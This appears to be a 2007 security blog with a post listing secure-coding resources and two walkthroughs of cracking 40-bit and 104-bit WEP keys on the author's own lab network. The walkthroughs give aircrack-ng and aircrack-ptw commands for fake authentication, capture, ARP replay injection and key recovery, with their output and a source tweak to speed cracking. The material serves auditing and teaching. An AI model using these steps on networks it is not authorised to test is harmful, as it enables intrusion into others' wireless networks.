Writing Secure Code: The Root Cause of the Problem?

As a security speaker and instructor, while presenting some of the security vulnerabilities we deal with on a daily basics (protocol and implementation flaws, buffer-overflows, format strings, lack of input validation, XSS, SQL injection...), I'm frequently asked about what can we expect as security pros in the coming years. I predict two scenarios:

1. The son of the son of the son of my son will be able to make a living as a security professional.
2. We finally get the idea and start fixing the root of nowadays security issues, vulnerable software.
   

Without trying to predict the future, I seriously think there is still a lot of work to do in order to improve one of the root causes of the problem: the current development life cycle and the quality of today's software; and by software I mean firmware, drivers, operating systems and applications, that is, all code that can execute on any CPU ;)

I finished my Masters degree in Computer Science a decade ago, and at that time, I didn't go through a single security best practice in any of the different programming, software engineering and development subjects (and believe me, I went over lots of programming methodologies and languages during my 6-year university degree). Unfortunately, the situation has not changed too much nowadays.

The SANS Institute finally announced at the end of March a new initiative focused on the secure coding field, called the SANS Software Security Institute (SSI). It's started covering the most commonly used languages, C & C++ and Java/J2EE, and very soon, .NET/ASP and PHP/PERL. New languages will be added afterwards. It is time to involve the programmers in security!

As an example, the first year of the Coverity Scan project, automated vulnerability research for open source code, has disclosed more than 6,000 flaws. The commercial software is not better, and the security industry is getting crazy, as denoted by the latest MS ANI flaw. It was known 3 months ago but there was no official patch available, several third-party patches were moving around, and once the official patch was out, it caused some conflicts :(

What are some secure coding resources I can start with?

Programming languages:
Most popular languages seem still to be Java, C/C++, PHP, (Visual) Basic, Perl, Python ... with Ruby (and probably Ruby on Rails) pushing really hard.

Web sites:

• OWASP. The Open Web Application Security Project, focused on Web insecure software.
• Secure Programming.com, by John Viega and Matt Messier.
• Writing Secure Code. MSDN.
• CERT Secure Coding. CERT.
• Common Weaknesses Enumeration (CWE). Mitre.

Books:

• "Secure Programming for Linux and Unix HOWTO -- Creating Secure Software” by David Wheeler (free). C, C++, Java, Perl, Python, and Ada95.
• "Secure Coding: Principles and Practices" by Mark G. Graff and Kenneth R. van Wyk (O'Reilly, 2003).
• "Writing Secure Code, Second Edition" by Michael Howard and David LeBlanc (MS Press, 2002). And very soon... for Vista!
• "Building Secure Software: How to Avoid Security Problems the Right Way" by John Viega and Gary McGraw (AWS, 2001).
• "Secure Coding in C and C++" by Robert C. Seacord (AWP, 2005).
• "The Art of Software Security Assessment" by M. Dowd, J. McDonald, and J. Schuh (AWP, 2006).
  

Tools:

• Flawfinder by David Wheeler (free). C & C++.
• Valgrind, invalid memory usage (free). Linux. C & C++.
• Rational Purify, invalid memory usage (commercial). Windows. Java, C++ and .NET.
• ITS4 by Cigital (free). C & C++.
• RATS by Fortify Software (free). C, C++, Perl, PHP and Python.
• Other tools and more...
  

It is a must to audit your source code looking for security flaws, but also the source code of the tools you commonly use, looking for other oddities ;)

Breaking 40-bit WEP in less than 30 seconds?

Being the inquisitive mind and person I am, the first question that came to my mind after my last post (applying very basic maths) was: Does this mean "Breaking 40 bit WEP in less than 30 seconds"? I had to research it!

Perhaps you are wondering why to worry about 40-bit WEP at all, but unfortunately, I'm still used to see 40-bit WEP networks deployed in legacy corporate infrastructures and SOHO environments. In the previous post I pointed to the vendors, but we cannot forget about the Telecom and Internet Service Providers. Believe it or not, they are still today (again, in 2007!) providing the xDSL/wireless end-user equipment configured with WEP by default (40 or 104 bits). Please, switch to WPA/WPA2-PSK! All the xDSL/wireless devices they provide support it, most end-user wireless cards can be at least upgraded to WPA, and, yes, users (although non-technical) know how to type a very long passphrase once (or even twice ;))!

So, let's go for the practical numbers. I advise you, you must take them with a grain of salt, because, as all WEP-based attacks, they are influenced by statistics and mathematical models, and in this case, error correction methods. I used the same setup as in my previous post, this time using a 40-bit WEP key.

After running a few tests, I was able to obtain the 40-bit WEP key several times with around 15,000 frames (between 12,000-20,000 seems to always work), and even as few as 9761 frames!

stats for bssid 00:18:39:86:F2:5A  keyindex=0 packets=9761
Found key with len 05: CA FE CA FE CA

Can you break a 40-bit WEP key in less than 30 seconds? Yes, in 17 seconds!

However, when I started to run aircrack-ptw with 40-bit keys, the crack process took around 20-25 seconds for each try (instead of the 3 seconds for 104-bit keys). As the authors detail in the paper , "Initially we assume that a 104 bit WEP key was used.". So I went through the source code and I found why. aircrack-ptw does not have an option to set the key length (as the "-n" option in aircrack-ng), so it first tries 104-bit keys, and if it does not succeed, it tries 40-bit keys. You can modify this behaviour by going to the end of the aircrack-ptw.c file and swap the following two lines:

if(PTW_computeKey(networktable[k].state, key, 13, KEYLIMIT) == 1) {
  printKey(key, 13);
}
if(PTW_computeKey(networktable[k].state, key, 5, KEYLIMIT/10) == 1) {
  printKey(key, 5);
}

Try the 5-byte key (40) "if" statement first, and then the 13-byte key (104) statement. This is all about speed and a few seconds! ;) You can even create three versions of the tool (40, 104 or 104&40 (default)), or even modify the tool code to expect a "-n" option (exercise for the reader). Every time you run the tool with the right key length, if enough frames were collected to derive the WEP key (40 or 104), the key is immediately displayed, in less than 3 seconds.

Finally, let's finish writing about WEP pointing out some issues to consider:

• This new WEP auditing method is ideal for devices with limited power, such as PDAs. The CPU cycles required and the memory fingerprint (aprox. 3 Mbytes) are affordable for almost all devices. In order to capture 40,000 frames you only need a PCAP file of about 6Mbytes in size.
• As all the other WEP cracking methods based on speeding up the process by injecting traffic, you can easily detect the duplicate IV's for the replayed ARP frame. You have deployed a wireless IDS, haven't you?
  
• The current tool implementation requires ARP frames (but it can be modified to support other frames, such as IP packets, somehow increasing its stealthiness). The attacker could even be patient and wait to collect all 40,000 ARP frames without injecting a single packet.
• The speed of my setup can be increased by using two different cards, one for capturing traffic and another for injecting it (as the authors did), instead of a single card for both functions.
• If you're using 104-bit Dynamic WEP you need to renew your keys every 30 seconds (or less)... Forget about WEP and any WEP derivative; deploy WPA/WPA2!!
  

What else do you need not to use WEP anymore?

Tonight (Yeah, I know, I should get more sleep!), while I was working on a wireless project you will hear about soon, I read the announcement of a paper titled "Breaking 104 bit WEP in less than 60 seconds". I couldn't wait to digest and test it, so impatiently, I prepared my wireless gear with the following setup:

• A 104-bit WEP-based 802.11g wireless network, using a Linksys WRT54GL access point running OpenWrt.
• A client laptop running Windows XP SP2 (with the Windows Wireless Update patch; come on, install it! ;)), using an Atheros wireless card.
• An auditor laptop running BackTrack 2 Final and using an Atheros wireless card too.

My previous 104-bit WEP cracking record ever was set with the old aircrack suite collecting around 100,000 valid frames. Very impressive; I was very lucky that day! I only saw it once, and nowadays, it typically takes me a minimum of 400,000 frames.

I downloaded the tool, aircrack-ptw, that implements the paper improvements to derive the RC4 key used by WEP with as few as 40,000 frames (theoretically, around 60 seconds). I uncompressed and compiled the tool with a simple "make". However, before running "make" on BackTrack, be sure to edit the Makefile and move the "-lpcap" switch to the end of the gcc line for the "aircrack-ptw" target.

The Atheros cards use by default the madwifi-ng driver, so you need to follow step-by-step the pretty recent aircrack-ng WEP cracking tutorial (it contains all the specific details you need to test this). The tool needs the frames (PCAP files) to work, so you need to omit "--ivs" on Step 3, and instead of using the standard aircrack-ng, you must use the new aircrack-ptw tool (Step 5).

Let's see a summary of my setup and the results I got (...in less than 60 seconds?):

• Step 1 - Put the card in monitor mode.
  

• Step 2 - Create a fake authentication from the auditor laptop:

# aireplay-ng -1 0 -e TheMatrix -a 00:18:39:86:F2:55 -h 00:13:46:73:F2:99 ath0
02:25:28  Sending Authentication Request
02:25:28  Authentication successful
02:25:28  Sending Association Request
02:25:28  Association successful :-)

• Step 3 - Run airodump to collect the traffic:

# airodump-ng -c 6 --bssid 00:18:39:86:F2:55 -w output ath0

CH  6 ][ Elapsed: 1 min ][ 2007-04-05 02:29
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
00:18:39:86:F2:55   54 100      812    49547  585   6  48. WEP  WEP         TheMatrix

BSSID              STATION            PWR  Lost  Packets  Probes
00:18:39:86:F2:55  00:13:46:73:F2:99   63     0    26891
00:18:39:86:F2:55  00:13:46:98:03:BB   64     0    25522

• Step 4 - Capture and inject traffic in the form of ARP packets:

# aireplay-ng -3 -b 00:18:39:86:F2:55 -h 00-13-46-73-F2-99 ath0
Saving ARP requests in replay_arp-0405-022535.cap
You should also start airodump-ng to capture replies.
...

• Step 5 - Using my setup, injecting 40,000 valid frames took between 65-75 seconds. My first try revealed the key with near 46,000 frames:

# ./aircrack-ptw ../output-01.cap
This is aircrack-ptw 1.0.0
For more informations see http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
allocating a new table
bssid = 00:18:39:86:F2:55  keyindex=0
stats for bssid 00:18:39:86:F2:55 keyindex=0 packets=45937
Found key with len 13: CA FE CA FE CA FE CA FE CA FE CA FE CA

The result was not bad, but the paper/tool promise was much better. My second try only needed 42,000, but this still meant more than 60 seconds:


stats for bssid 00:18:39:86:F2:55  keyindex=0 packets=42648

Third time's charm: 38653 frames and 59 seconds! ;)


stats for bssid 00:18:39:86:F2:55  keyindex=0 packets=38653

Awesome results and advancements for auditing the security of WEP-based wireless networks!

<plug> You can learn about this and other advanced wireless security techniques in the upcoming SANS Assessing and Securing Wireless Networks course in Brussels, June 25-30, 2007. </plug>

What else do you need to switch to WPA/WPA2? Vendors have no excuse not to implement WPA in every wireless device in 2007!!

UPDATE: This was "Breaking 104-bit WEP in less than 60 seconds". Check the next blog entry for breaking 40-bit WEP in less than...